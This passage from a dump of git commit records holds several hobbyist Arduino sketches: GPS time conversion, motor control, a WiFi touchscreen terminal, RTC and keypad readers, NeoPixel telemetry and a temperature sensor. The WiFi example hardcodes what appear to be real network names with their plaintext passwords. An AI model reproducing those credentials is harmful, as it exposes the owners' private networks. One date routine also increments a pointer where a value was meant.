\/\/ April to October are in\n if (month > 3 && month < 11) {\n return true;\n }\n int previousSunday = (int)(day - DOW);\n \/\/ In march, we are DST if our previous Sunday was on or after the 8th\n if (month == 3) {\n return previousSunday >= 8;\n }\n \/\/ In November we must be before the first Sunday to be DST\n \/\/ That means the previous Sunday must be before the 1st\n return previousSunday <= 0;\n}\n\n#ifdef CONVERT_TO_LOCAL\n\/* Convert UTC time and date to local time and date\n Difference between UTC time\/date (at Greenwich) and local time\/date is 15 minutes\n per 1 degree of longitude. See the following:\n http:\/\/www.edaboard.com\/thread101516.html\n*\/\nbool convertToLocal (uint8_t* hour, uint16_t* year, uint8_t* month,\n uint8_t* day, const double lon, bool convertDate) {\n\n uint8_t DaysAMonth [] = {31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31};\n\n \/\/ Get Day of Week (DOW)\n uint8_t DOW = dayOfWeek(*year, *month, *day);\n \/\/ Get Daylight Saving Time (DST) or Standard Time (ST)\n bool DST = IsDST(*day, *month, DOW);\n \/\/ Compute local time (hours)\n int UTCOffset = (int)(lon \/ 15.0d); \/\/ UTC offset\n if (UTCOffset < 0) {\n \/\/ West of Greenwich, subtract\n UTCOffset = abs(UTCOffset); \/\/ Make offset positive\n if (DST) --UTCOffset; \/\/ Compensate for DST\n if (*hour <= UTCOffset) *hour += 24;\n *hour = *hour - UTCOffset; \/\/ Subtract offset\n }\n else {\n \/\/ East of Greenwich, add\n if (DST) ++UTCOffset; \/\/ Compensate for DST\n if (*hour <= UTCOffset) *hour += 24;\n *hour = *hour + UTCOffset; \/\/ Add offset\n }\n \/\/ Convert date if convertDate flag is set\n \/\/ Portions of the following code (with some modifications) ripped off from Instructables\n \/\/ http:\/\/www.instructables.com\/id\/GPS-time-UTC-to-local-time-conversion-using-Arduin\/?ALLSTEPS\n if (convertDate) {\n if ((24 - *hour) <= UTCOffset) { \/\/ A new UTC day started\n if (*year % 4 == 0) DaysAMonth[1] = 29; \/\/leap year check (the simple method)\n if (*hour < 24) {\n *day -= 1;\n if (*day < 1) {\n if (*month == 1) {\n *month = 12;\n *year -= 1;\n } \/\/ if (*month == 1)\n else {\n *month -= 1;\n }\n *day = DaysAMonth[*month - 1];\n } \/\/ if (*day < 1)\n } \/\/ if (*hour < 24)\n else if (*hour >= 24) {\n day += 1;\n if (*day > DaysAMonth[*month - 1]) {\n *day = 1;\n *month += 1;\n if (*month > 12) *year += 1;\n } \/\/ if (*day > DaysAMonth[*month - 1])\n } \/\/ if (*hour >= 24)\n } \/\/ if ((24 - *hour) <= UTCOffset)\n } \/\/ if (convertDate)\n return (DST);\n}\n#endif \/\/ #ifdef CONVERT_TO_LOCAL\n#endif \/\/ #ifndef _16x2\n\n#ifdef DEBUG\n\/\/ Displays debug data to the serial monitor\nvoid displayDebugData() {\n Serial.print(\"Version: \");\n Serial.println(VERSION);\n Serial.print(\"Satellite Count: \");\n Serial.println(GPSData.satellites);\n Serial.print(\"Latitude: \");\n Serial.println(GPSData.lat, 6);\n Serial.print(\"Longitude: \");\n Serial.println(GPSData.lon, 6);\n Serial.print(\"Speed MPH: \");\n Serial.println(GPSData.speed);\n Serial.print(\"Altitude Feet: \");\n Serial.println(GPSData.altitude);\n#ifdef _16x2\n Serial.print(\"Alt\/SPD: \");\n Serial.println((digitalRead(SPEED_ALTITUDE_SW)) ? \"Speed\" : \"Altitude\");\n#else\n Serial.print(\"Altitude\/Date: \");\n Serial.println(!(digitalRead(ALTITUDE_DATE_TIME_SW)) ? \"Date\/Time\" : \"Altitude\");\n#endif\n Serial.println((digitalRead(BACKLIGHT_SW)) ? \"Backlight On\" : \"Backlight Off\");\n Serial.print(\"Data valid: \");\n Serial.println(dataValid);\n uint8_t DOW = dayOfWeek(GPSData.year, GPSData.month, GPSData.day);\n Serial.print(\"DST = \");\n Serial.println(IsDST(GPSData.day, GPSData.month, DOW));\n Serial.println(\"\");\n}\n#endif\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'GPSLCD.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5583ce88bde7dac08d8f4e17367f20bd95348d88","subject":"copied from due\/due.ino, editing for different base hardware","message":"copied from due\/due.ino, editing for different base hardware\n","repos":"980f\/dro,980f\/dro,980f\/dro,980f\/dro","old_file":"arduino\/leo\/leo.ino","new_file":"arduino\/leo\/leo.ino","new_contents":"Print &dbg(Serial);\/\/on leonardo this is the USB, Serial1 is hardware port\n\n\/\/use a macro to get variable name:\n#define Show(arg) dbg.print(\"\\n\" #arg \":\"); dbg.print(arg)\n\n#include \"pinclass.h\"\n\n\/** attached to the high side of an LED *\/\n\/\/const OutputPin<LED_BUILTIN> lamp;\/\/13, also a motor control line on motor shield\nconst OutputPin<LED_BUILTIN_RX> RX;\/\/ 17\nconst OutputPin<LED_BUILTIN_TX>TX; \/\/ 30\n\n\n\n\n#include \"motorshield1.h\"\n\n#include \"quadrater.h\" \/\/ quadrature tracker.\nQuadrater<4,5,3> tracker;\n\n#include \"timerservice.h\"\n\/\/\n\/\/#include \"retriggerablemonostable.h\"\n\/\/\n\/\/RetriggerableMonostable lamprey(red, Ticks(350));\n\/\/RegisterTimer(lamprey);\n\/\/void triggerPulse(){\n\/\/ lamprey.trigger();\n\/\/}\n\n#include \"interruptPin.h\"\nvoid b2irqhandler(){\n RX = button2;\n if(button2) {\n \/\/analogWrite(10,100);\n M2 = 1 * (1 - button1);\/\/go forward unless other button is pressed in which case stop\n }\n dbg.print(\"G\");\n dbg.print(millis());\n}\n\nconst InterruptPin<b2irqhandler, button2.number, FALLING> b2irq;\n\nvoid b1irqhandler(){\n TX = button1;\n if(button1) {\n \/\/analogWrite(10,200);\n M2 = -1 * (1 - button2);\/\/see greenLight();\n }\n dbg.print(\"R\");\n}\n\nconst InterruptPin<b1irqhandler, button1.number, FALLING> b1irq;\n\n\/\/example of acting on timing event within the timer isr:\nclass Flasher: public CyclicTimer {\n using CyclicTimer::CyclicTimer;\n void onDone(void) override {\n CyclicTimer::onDone();\n\/\/ RX.toggle();\n }\n\n} flashLamp(451,false);\nRegisterTimer(flashLamp);\n\n#include \"softpwm.h\"\nclass SlowPWMdemo: public SoftPWM {\npublic:\n using SoftPWM::SoftPWM;\n \/\/it is a bad idea to do this much in an isr ...\n virtual void onToggle(bool on){\n if(!on) {\n dbg.print(\"\\nSoftPWM:\");\n } else {\n dbg.print(\" to \");\n }\n dbg.print(millis());\n }\n\n} spwmdemo(250,750,false);\n\nRegisterTimer(spwmdemo);\n\nvoid setup(){\n SerialUSB.begin(230400);\/\/'native' usb port\n Serial.begin(57600);\/\/an actual uart, on DUE DMA is used so we should be able to push the baud rate quite high without choking the processor with interrupts.\n \/\/Pin structs take care of themselves, unless you need special modes outside arduino's libraries.\n b2irq.attach(true);\/\/we don't build in attach() to the constructor as in many cases the isr needs stuff that isn't initialized until setup() is run.\n b1irq.attach(true);\n M2 = 0;\n M1 = 0;\n tracker.connect();\n} \/* setup *\/\n\nint lastlocation = 0;\nvoid loop(){\n\/\/ __WFE();\n if(changed(lastlocation,tracker.position())) {\n \/\/initially this printed sequential values, but eventually only every 6 or 7, then choked.Will try usbserial again, maybe it can keep up.\n dbg.print('\\n');\n dbg.print(lastlocation);\n }\n if(lastlocation>500){\n tracker.beginCruising();\n }\n if(Serial){\n char c=Serial.read();\n Serial.print(c);\n switch(c){\n case '<': M2=1; break;\n case '>': M2=-1; break;\n case 27: M2=0; break;\n case '?': Serial.println(tracker.position()); break;\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/leo\/leo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7b8d208d3f2dcf2c505510237c4baa5b3fe9481f","subject":"Added example using Huzzah32 with new terminal Widget and Wifi.","message":"Added example using Huzzah32 with new terminal Widget and Wifi.\n","repos":"jrullan\/Touchscreen_GUI,jrullan\/Touchscreen_GUI","old_file":"examples\/Huzzah32_Wifi_Client_TouchscreenGui\/Huzzah32_Wifi_Client_TouchscreenGui.ino","new_file":"examples\/Huzzah32_Wifi_Client_TouchscreenGui\/Huzzah32_Wifi_Client_TouchscreenGui.ino","new_contents":"\/*\n * This sketch sends a message to a TCP server\n *\n *\/\n\n#include <WiFi.h>\n#include <WiFiMulti.h>\n#include <neotimer.h>\n#include <Canvas_STMPE610.h>\n#include <Terminal.h>\n\nCanvas_STMPE610 canvas = Canvas_STMPE610(TFT_PORTRAIT,BLACK);\nTerminal terminal = Terminal(240,70,TERMINAL_SCROLL_UP,1);\n\nNeotimer timer = Neotimer(1000);\nWiFiMulti WiFiMulti;\n\nvoid setup()\n{\n Serial.begin(115200);\n delay(10);\n canvas.init();\n terminal.setColors(BLACK,GREEN,WHITE);\n canvas.add(&terminal,0,0);\n \n \/\/ We start by connecting to a WiFi network\n WiFiMulti.addAP(\"Linksys03507\", \"4antgxupkm\");\n WiFiMulti.addAP(\"Samsung Galaxy Note9_2618\", \"hvdl9798\");\n WiFiMulti.addAP(\"frulrom2319\", \"familiarullan2319\");\n\n terminal.print(\"Trying to connect to Wifi...\");\n\n while(WiFiMulti.run() != WL_CONNECTED) {\n Serial.print(\".\");\n delay(500);\n }\n\n char buffer[terminal.maxCharacters];\n\n String ssid = WiFi.SSID();\n ssid.toCharArray(buffer,ssid.length()+1);\n terminal.print(\"Connected to\");\n terminal.print(buffer);\n \n String ipAddress = WiFi.localIP().toString();\n ipAddress.toCharArray(buffer,ipAddress.length()+1);\n terminal.print(\"IP Address\");\n terminal.print(buffer);\n \n Serial.println(\"\");\n Serial.println(\"WiFi connected\");\n Serial.println(\"IP address: \");\n Serial.println(WiFi.localIP());\n delay(500);\n}\n\n\nvoid loop()\n{\n\n\/*\n const uint16_t port = 80;\n const char * host = \"192.168.1.1\"; \/\/ ip or dns\n\n\n\n Serial.print(\"connecting to \");\n Serial.println(host);\n\n \/\/ Use WiFiClient class to create TCP connections\n WiFiClient client;\n\n if (!client.connect(host, port)) {\n Serial.println(\"connection failed\");\n Serial.println(\"wait 5 sec...\");\n delay(5000);\n return;\n }\n\n \/\/ This will send the request to the server\n client.print(\"Send this data to server\");\n\n \/\/read back one line from server\n String line = client.readStringUntil('\\r');\n client.println(line);\n\n Serial.println(\"closing connection\");\n client.stop();\n\n Serial.println(\"wait 5 sec...\");\n delay(5000);\n*\/\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Huzzah32_Wifi_Client_TouchscreenGui\/Huzzah32_Wifi_Client_TouchscreenGui.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fc3f8fd7614628050f5389453f88f1512e3cf212","subject":"P\u0159\u00edklad z lekce 6","message":"P\u0159\u00edklad z lekce 6\n","repos":"bastlirna\/arduino-akademie","old_file":"lekce\/lekce06\/work\/read-time\/read-time.ino","new_file":"lekce\/lekce06\/work\/read-time\/read-time.ino","new_contents":"#include <Wire.h>\n\n#define ADDR 0x68\n\nvoid write_reg(byte addr, byte data) {\n Wire.beginTransmission(ADDR);\n Wire.write(addr);\n Wire.write(data);\n Wire.endTransmission();\n}\n\nbyte read_reg(byte addr) {\n Wire.beginTransmission(ADDR);\n Wire.write(addr);\n Wire.endTransmission();\n \n Wire.requestFrom(ADDR, (byte)1);\n return Wire.read();\n}\n\nvoid setup() {\n Wire.begin();\n Serial.begin(9600);\n write_reg(0,0);\n}\n\nvoid loop() {\n byte s = read_reg(0);\n byte m = read_reg(1);\n byte h = read_reg(2);\n \n Serial.print(h, HEX);\n Serial.print(\":\");\n Serial.print(m, HEX);\n Serial.print(\":\");\n Serial.println(s, HEX);\n \n\n delay(1000);\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'lekce\/lekce06\/work\/read-time\/read-time.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2c6880ebe510559d9003e7e4ae939d1586877cf4","subject":"Added keypad example sketch","message":"Added keypad example sketch\n","repos":"aslok\/sketchbook,aslok\/sketchbook,aslok\/sketchbook,aslok\/sketchbook","old_file":"keypad\/keypad.ino","new_file":"keypad\/keypad.ino","new_contents":"\/*4x4 Matrix Keypad connected to Arduino\nThis code prints the key pressed on the keypad to the serial port*\/\n\n#include <Keypad.h>\n\nconst byte numRows = 4; \/\/number of rows on the keypad\nconst byte numCols = 4; \/\/number of columns on the keypad\n\n\/\/keymap defines the key pressed according to the row and columns just as appears on the keypad\nchar keymap[numRows][numCols] =\n{\n {'1', '2', '3', 'A'},\n {'4', '5', '6', 'B'},\n {'7', '8', '9', 'C'},\n {'*', '0', '#', 'D'}\n};\n\n\/\/Code that shows the the keypad connections to the arduino terminals\nbyte rowPins[numRows] = {9, 8, 7, 6}; \/\/Rows 0 to 3\nbyte colPins[numCols] = {5, 4, 3, 2}; \/\/Columns 0 to 3\n\n\/\/initializes an instance of the Keypad class\nKeypad myKeypad = Keypad(makeKeymap(keymap), rowPins, colPins, numRows, numCols);\n\nvoid setup()\n{\n Serial.begin(9600);\n}\n\n\/\/If key is pressed, this key is stored in 'keypressed' variable\n\/\/If key is not equal to 'NO_KEY', then this key is printed out\n\/\/if count=17, then count is reset back to 0 (this means no key is pressed during the whole keypad scan process\nvoid loop()\n{\n char keypressed = myKeypad.getKey();\n if (keypressed != NO_KEY)\n {\n Serial.print(keypressed);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'keypad\/keypad.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b53d5d382ed845d149fac92fd5fcbbbf5ef808b3","subject":"Serial comm from RasPi to Ard-connected neopixels","message":"Serial comm from RasPi to Ard-connected neopixels","repos":"ISS-Mimic\/Mimic,ISS-Mimic\/Mimic,ISS-Mimic\/Mimic,ISS-Mimic\/Mimic","old_file":"Arduino\/Mimic_Serial.ino","new_file":"Arduino\/Mimic_Serial.ino","new_contents":"#include <Adafruit_NeoPixel.h>\n#include <string.h>\n\/\/Connect USB port to Pi USB Port\n\/\/For serial debugging - connect to the RX1 and TX1 pins\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(24, 6, NEO_GRB + NEO_KHZ800);\nAdafruit_NeoPixel module_strip = Adafruit_NeoPixel(16, 7, NEO_GRB + NEO_KHZ800);\nconst int ledRedPin = 13;\nconst int ledBluePin = 52;\nconst int ledGreenPin = 53;\nString test;\n\ndouble Beta1B = 0.0;\ndouble Beta2B = 0.0;\ndouble Beta3B = 0.0;\ndouble Beta4B = 0.0;\ndouble Beta1A = 0.0;\ndouble Beta2A = 0.0;\ndouble Beta3A = 0.0;\ndouble Beta4A = 0.0;\ndouble PSARJ = 0.0;\ndouble SSARJ = 0.0;\ndouble PTRRJ = 0.0;\ndouble STRRJ = 0.0;\ndouble AOS = 0.00;\ndouble V2A = 0.00;\ndouble V2B = 0.00;\ndouble V4A = 0.00;\ndouble V4B = 0.00;\nString module = \"unset module\";\n\nvoid setup()\n{\n pinMode(ledRedPin, OUTPUT);\n pinMode(ledBluePin, OUTPUT);\n pinMode(ledGreenPin, OUTPUT);\n Serial.begin(9600);\n Serial1.begin(115200);\n Serial1.setTimeout(50);\n strip.begin();\n module_strip.begin();\n strip.show();\n module_strip.show();\n allSet_module(module_strip.Color(255,0,0),5);\n}\n\nvoid loop()\n{\n digitalWrite(ledRedPin, LOW);\n digitalWrite(ledGreenPin, LOW);\n digitalWrite(ledBluePin, LOW);\n Serial.println(\"-------\");\n if(Serial1.available())\n {\n checkSerial();\n }\n allSet_module(module_strip.Color(0,0,0),0);\n \/\/Serial.println(module);\n if(module == \"SM\")\n {\n module_strip.setPixelColor(0, strip.Color(255,255,255));\n module_strip.show();\n \/\/Serial.println(\"SM\");\n }\n else if(module == \"FGB\")\n {\n module_strip.setPixelColor(1, strip.Color(255,255,255));\n module_strip.show();\n \/\/Serial.println(\"FGB\");\n }\n else if(module == \"Node1\")\n {\n module_strip.setPixelColor(2, strip.Color(255,255,255));\n module_strip.show();\n \/\/Serial.println(\"Node1\");\n }\n else if(module == \"Node2\")\n {\n module_strip.setPixelColor(3, strip.Color(255,255,255));\n module_strip.show();\n \/\/Serial.println(\"Node2\");\n }\n else if(module == \"Node3\")\n {\n module_strip.setPixelColor(4, strip.Color(255,255,255));\n module_strip.show();\n \/\/Serial.println(\"Node3\");\n }\n else if(module == \"AL\")\n {\n module_strip.setPixelColor(5, strip.Color(255,255,255));\n module_strip.show();\n \/\/Serial.println(\"AL\");\n }\n else if(module == \"USL\")\n {\n module_strip.setPixelColor(6, strip.Color(255,255,255));\n module_strip.show();\n \/\/Serial.println(\"USL\");\n }\n else if(module == \"Col\")\n {\n module_strip.setPixelColor(7, strip.Color(255,255,255));\n module_strip.show();\n \/\/Serial.println(\"Col\");\n }\n else if(module == \"JEM\")\n {\n module_strip.setPixelColor(8, strip.Color(255,255,255));\n module_strip.show();\n \/\/Serial.println(\"JEM\");\n }\n else\n {\n allSet_module(module_strip.Color(0,255,0),5);\n module_strip.show();\n }\n \n\n if(V2A < 151.5)\n {\n strip.setPixelColor(0, strip.Color(255,0,0));\n strip.setPixelColor(1, strip.Color(255,0,0));\n strip.setPixelColor(2, strip.Color(255,0,0));\n strip.setPixelColor(3, strip.Color(255,0,0));\n strip.setPixelColor(4, strip.Color(255,0,0));\n strip.setPixelColor(5, strip.Color(255,0,0));\n strip.show();\n }\n else if(V2A > 160)\n {\n strip.setPixelColor(0, strip.Color(255,255,255));\n strip.setPixelColor(1, strip.Color(255,255,255));\n strip.setPixelColor(2, strip.Color(255,255,255));\n strip.setPixelColor(3, strip.Color(255,255,255));\n strip.setPixelColor(4, strip.Color(255,255,255));\n strip.setPixelColor(5, strip.Color(255,255,255));\n strip.show();\n }\n else\n {\n strip.setPixelColor(0, strip.Color(0,0,255));\n strip.setPixelColor(1, strip.Color(0,0,255));\n strip.setPixelColor(2, strip.Color(0,0,255));\n strip.setPixelColor(3, strip.Color(0,0,255));\n strip.setPixelColor(4, strip.Color(0,0,255));\n strip.setPixelColor(5, strip.Color(0,0,255));\n strip.show();\n }\n \n if(V4A < 151.5)\n {\n strip.setPixelColor(6, strip.Color(255,0,0));\n strip.setPixelColor(7, strip.Color(255,0,0));\n strip.setPixelColor(8, strip.Color(255,0,0));\n strip.setPixelColor(9, strip.Color(255,0,0));\n strip.setPixelColor(10, strip.Color(255,0,0));\n strip.setPixelColor(11, strip.Color(255,0,0));\n strip.show();\n }\n else if(V4A > 160)\n {\n strip.setPixelColor(6, strip.Color(255,255,255));\n strip.setPixelColor(7, strip.Color(255,255,255));\n strip.setPixelColor(8, strip.Color(255,255,255));\n strip.setPixelColor(9, strip.Color(255,255,255));\n strip.setPixelColor(10, strip.Color(255,255,255));\n strip.setPixelColor(11, strip.Color(255,255,255));\n strip.show();\n }\n else\n {\n strip.setPixelColor(6, strip.Color(0,0,255));\n strip.setPixelColor(7, strip.Color(0,0,255));\n strip.setPixelColor(8, strip.Color(0,0,255));\n strip.setPixelColor(9, strip.Color(0,0,255));\n strip.setPixelColor(10, strip.Color(0,0,255));\n strip.setPixelColor(11, strip.Color(0,0,255));\n strip.show();\n }\n\n if(V4B < 151.5)\n {\n strip.setPixelColor(12, strip.Color(255,0,0));\n strip.setPixelColor(13, strip.Color(255,0,0));\n strip.setPixelColor(14, strip.Color(255,0,0));\n strip.setPixelColor(15, strip.Color(255,0,0));\n strip.setPixelColor(16, strip.Color(255,0,0));\n strip.setPixelColor(17, strip.Color(255,0,0));\n strip.show();\n }\n else if(V4B > 160)\n {\n strip.setPixelColor(12, strip.Color(255,255,255));\n strip.setPixelColor(13, strip.Color(255,255,255));\n strip.setPixelColor(14, strip.Color(255,255,255));\n strip.setPixelColor(15, strip.Color(255,255,255));\n strip.setPixelColor(16, strip.Color(255,255,255));\n strip.setPixelColor(17, strip.Color(255,255,255));\n strip.show();\n }\n else\n {\n strip.setPixelColor(12, strip.Color(0,0,255));\n strip.setPixelColor(13, strip.Color(0,0,255));\n strip.setPixelColor(14, strip.Color(0,0,255));\n strip.setPixelColor(15, strip.Color(0,0,255));\n strip.setPixelColor(16, strip.Color(0,0,255));\n strip.setPixelColor(17, strip.Color(0,0,255));\n strip.show();\n }\n\n if(V2B < 151.5)\n {\n strip.setPixelColor(18, strip.Color(255,0,0));\n strip.setPixelColor(19, strip.Color(255,0,0));\n strip.setPixelColor(20, strip.Color(255,0,0));\n strip.setPixelColor(21, strip.Color(255,0,0));\n strip.setPixelColor(22, strip.Color(255,0,0));\n strip.setPixelColor(23, strip.Color(255,0,0));\n strip.show();\n }\n else if(V2B > 160)\n {\n strip.setPixelColor(18, strip.Color(255,255,255));\n strip.setPixelColor(19, strip.Color(255,255,255));\n strip.setPixelColor(20, strip.Color(255,255,255));\n strip.setPixelColor(21, strip.Color(255,255,255));\n strip.setPixelColor(22, strip.Color(255,255,255));\n strip.setPixelColor(23, strip.Color(255,255,255));\n strip.show();\n }\n else\n {\n strip.setPixelColor(18, strip.Color(0,0,255));\n strip.setPixelColor(19, strip.Color(0,0,255));\n strip.setPixelColor(20, strip.Color(0,0,255));\n strip.setPixelColor(21, strip.Color(0,0,255));\n strip.setPixelColor(22, strip.Color(0,0,255));\n strip.setPixelColor(23, strip.Color(0,0,255));\n strip.show();\n }\n}\nvoid checkSerial()\n{\n digitalWrite(ledBluePin, HIGH);\n test = \"\";\n \n while(Serial1.available()) \n {\n test = Serial1.readString();\n }\n Serial.println(test);\n char sz[test.length() + 1];\n char copy[test.length() + 1];\n strcpy(sz, test.c_str()); \n char *p = sz;\n char *str;\n int delimeter = 0;\n String test2 = \"\"; \n \n while((str = strtok_r(p,\" \",&p))!=NULL)\n {\n test2 = String(str);\n delimeter = test2.indexOf('='); \n if(test2.substring(0,delimeter)==\"PSARJ\")\n {\n PSARJ = (test2.substring(delimeter+1)).toFloat();\n } \n else if(test2.substring(0,delimeter)==\"SSARJ\")\n {\n SSARJ = (test2.substring(delimeter+1)).toFloat();\n } \n else if(test2.substring(0,delimeter)==\"PTRRJ\")\n {\n PTRRJ = (test2.substring(delimeter+1)).toFloat();\n } \n else if(test2.substring(0,delimeter)==\"STRRJ\")\n {\n STRRJ = (test2.substring(delimeter+1)).toFloat();\n } \n else if(test2.substring(0,delimeter)==\"Beta1B\")\n {\n Beta1B = (test2.substring(delimeter+1)).toFloat();\n }\n else if(test2.substring(0,delimeter)==\"Beta1A\")\n {\n Beta1A = (test2.substring(delimeter+1)).toFloat();\n }\n else if(test2.substring(0,delimeter)==\"Beta2B\")\n {\n Beta2B = (test2.substring(delimeter+1)).toFloat();\n }\n else if(test2.substring(0,delimeter)==\"Beta2A\")\n {\n Beta2A = (test2.substring(delimeter+1)).toFloat();\n }\n else if(test2.substring(0,delimeter)==\"Beta3B\")\n {\n Beta3B = (test2.substring(delimeter+1)).toFloat();\n }\n else if(test2.substring(0,delimeter)==\"Beta3A\")\n {\n Beta3A = (test2.substring(delimeter+1)).toFloat();\n }\n else if(test2.substring(0,delimeter)==\"Beta4B\")\n {\n Beta4B = (test2.substring(delimeter+1)).toFloat();\n }\n else if(test2.substring(0,delimeter)==\"Beta4A\")\n {\n Beta4A = (test2.substring(delimeter+1)).toFloat();\n }\n else if(test2.substring(0,delimeter)==\"Voltage2A\")\n {\n V2A = (test2.substring(delimeter+1)).toFloat();\n }\n else if(test2.substring(0,delimeter)==\"Voltage2B\")\n {\n V2B = (test2.substring(delimeter+1)).toFloat();\n }\n else if(test2.substring(0,delimeter)==\"Voltage4A\")\n {\n V4A = (test2.substring(delimeter+1)).toFloat();\n }\n else if(test2.substring(0,delimeter)==\"Voltage4B\")\n {\n V4B = (test2.substring(delimeter+1)).toFloat();\n }\n \/\/module Selection\n else if(test2.substring(0,delimeter)==\"Module\")\n {\n \/\/Serial.println(\"----Module!------\");\n module = (test2.substring(delimeter+1));\n }\n else if(test2.substring(0,delimeter)==\"AOS\")\n {\n \/\/Serial1.println(test2);\n AOS = (test2.substring(delimeter+1)).toFloat();\n \/\/Serial1.println(AOS);\n if(AOS == 1.00)\n {\n digitalWrite(ledGreenPin, HIGH);\n }\n else\n {\n digitalWrite(ledRedPin, HIGH);\n }\n }\n }\n Serial.println();\n}\nvoid allSet(uint32_t c, uint8_t wait) {\n for(uint16_t i=0; i<strip.numPixels(); i++) \n {\n strip.setPixelColor(i, c);\n strip.show();\n delay(wait);\n }\n}\nvoid allSet_module(uint32_t c, uint8_t wait) {\n for(uint16_t i=0; i<module_strip.numPixels(); i++) \n {\n module_strip.setPixelColor(i, c);\n module_strip.show();\n delay(wait);\n }\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/Mimic_Serial.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6da37f8148eccae6f7340375bccf61f2be40c4e4","subject":"Committing working temp readout; mostly example","message":"Committing working temp readout; mostly example\n","repos":"kjetilk\/arduino_rdftemp","old_file":"tempsens.ino","new_file":"tempsens.ino","new_contents":"#include <OneWire.h>\n\n#define LED 13\n#define TEMPPIN 2\n#define SERIAL_BAUD 9600\n\nvoid setup(void) {\nSerial.begin(SERIAL_BAUD);\n}\n\nvoid loop(void) {\nfor (int i=9;i<13;i++){\nhandleOWIO(6,i);\nSerial.println();\n}\n\ndelay(1000);\nBlink(LED,3);\n}\n\nvoid handleOWIO(byte pin, byte resolution) {\nint owpin = pin;\n\n\/\/ Device identifier\nbyte dsaddr[8];\nOneWire myds(TEMPPIN);\ngetfirstdsadd(myds,dsaddr);\n\nSerial.print(F(\"dsaddress:\"));\nint j;\nfor (j=0;j<8;j++) {\nif (dsaddr[j] < 16) {\nSerial.print('0');\n}\nSerial.print(dsaddr[j], HEX);\n}\n\/\/ Data\n\nSerial.println(getdstemp(myds, dsaddr, resolution));\n\n} \/\/ run OW sequence\n\nvoid getfirstdsadd(OneWire myds, byte firstadd[]){\nbyte i;\nbyte present = 0;\nbyte addr[8];\nfloat celsius, fahrenheit;\n\nint length = 8;\n\n\/\/Serial.print(\"Looking for 1-Wire devices...\\n\\r\");\nwhile(myds.search(addr)) {\n\/\/Serial.print(\"\\n\\rFound \\'1-Wire\\' device with address:\\n\\r\");\nfor( i = 0; i < 8; i++) {\nfirstadd[i]=addr[i];\n\/\/Serial.print(\"0x\");\nif (addr[i] < 16) {\n\/\/Serial.print('0');\n}\n\/\/Serial.print(addr[i], HEX);\nif (i < 7) {\n\/\/Serial.print(\", \");\n}\n}\nif ( OneWire::crc8( addr, 7) != addr[7]) {\n\/\/Serial.print(\"CRC is not valid!\\n\");\nreturn;\n}\n\/\/ the first ROM byte indicates which chip\n\n\/\/Serial.print(\"\\n\\raddress:\");\n\/\/Serial.print(addr[0]);\n\nreturn;\n}\n}\n\nfloat getdstemp(OneWire myds, byte addr[8], byte resolution) {\nbyte present = 0;\nint i;\nbyte data[12];\nbyte type_s;\nfloat celsius;\nfloat fahrenheit;\n\nswitch (addr[0]) {\ncase 0x10:\n\/\/Serial.println(F(\" Chip = DS18S20\")); \/\/ or old DS1820\ntype_s = 1;\nbreak;\ncase 0x28:\n\/\/Serial.println(F(\" Chip = DS18B20\"));\ntype_s = 0;\nbreak;\ncase 0x22:\n\/\/Serial.println(F(\" Chip = DS1822\"));\ntype_s = 0;\nbreak;\ndefault:\nSerial.println(F(\"Device is not a DS18x20 family device.\"));\n}\n\n\/\/ Get byte for desired resolution\nbyte resbyte = 0x1F;\nif (resolution == 12){\nresbyte = 0x7F;\n}\nelse if (resolution == 11) {\nresbyte = 0x5F;\n}\nelse if (resolution == 10) {\nresbyte = 0x3F;\n}\n\n\/\/ Set configuration\nmyds.reset();\nmyds.select(addr);\nmyds.write(0x4E); \/\/ Write scratchpad\nmyds.write(0); \/\/ TL\nmyds.write(0); \/\/ TH\nmyds.write(resbyte); \/\/ Configuration Register\n\nmyds.write(0x48); \/\/ Copy Scratchpad\n\nmyds.reset();\nmyds.select(addr);\n\nlong starttime = millis();\nmyds.write(0x44,1); \/\/ start conversion, with parasite power on at the end\nwhile (!myds.read()) {\n\/\/ do nothing\n}\nSerial.print(\"Conversion took: \");\nSerial.print(millis() - starttime);\nSerial.println(\" ms\");\n\n\/\/delay(1000); \/\/ maybe 750ms is enough, maybe not\n\/\/ we might do a ds.depower() here, but the reset will take care of it.\n\npresent = myds.reset();\nmyds.select(addr);\nmyds.write(0xBE); \/\/ Read Scratchpad\n\n\/\/Serial.print(\" Data = \");\n\/\/Serial.print(present,HEX);\nSerial.println(\"Raw Scratchpad Data: \");\nfor ( i = 0; i < 9; i++) { \/\/ we need 9 bytes\ndata[i] = myds.read();\nSerial.print(data[i], HEX);\nSerial.print(\" \");\n}\n\/\/Serial.print(\" CRC=\");\n\/\/Serial.print(OneWire::crc8(data, 8), HEX);\nSerial.println();\n\n\/\/ convert the data to actual temperature\n\nunsigned int raw = (data[1] << 8) | data[0];\nif (type_s) {\nraw = raw << 3; \/\/ 9 bit resolution default\nif (data[7] == 0x10) {\n\/\/ count remain gives full 12 bit resolution\nraw = (raw & 0xFFF0) + 12 - data[6];\n} else {\nbyte cfg = (data[4] & 0x60);\nif (cfg == 0x00) raw = raw << 3; \/\/ 9 bit resolution, 93.75 ms\nelse if (cfg == 0x20) raw = raw << 2; \/\/ 10 bit res, 187.5 ms\nelse if (cfg == 0x40) raw = raw << 1; \/\/ 11 bit res, 375 ms\n\/\/ default is 12 bit resolution, 750 ms conversion time\n}\n}\ncelsius = (float)raw \/ 16.0;\nfahrenheit = celsius * 1.8 + 32.0;\nSerial.print(\"Temp (C): \");\n\/\/Serial.println(celsius);\nreturn celsius;\n}\n\nvoid Blink(byte PIN, int DELAY_MS)\n{\npinMode(PIN, 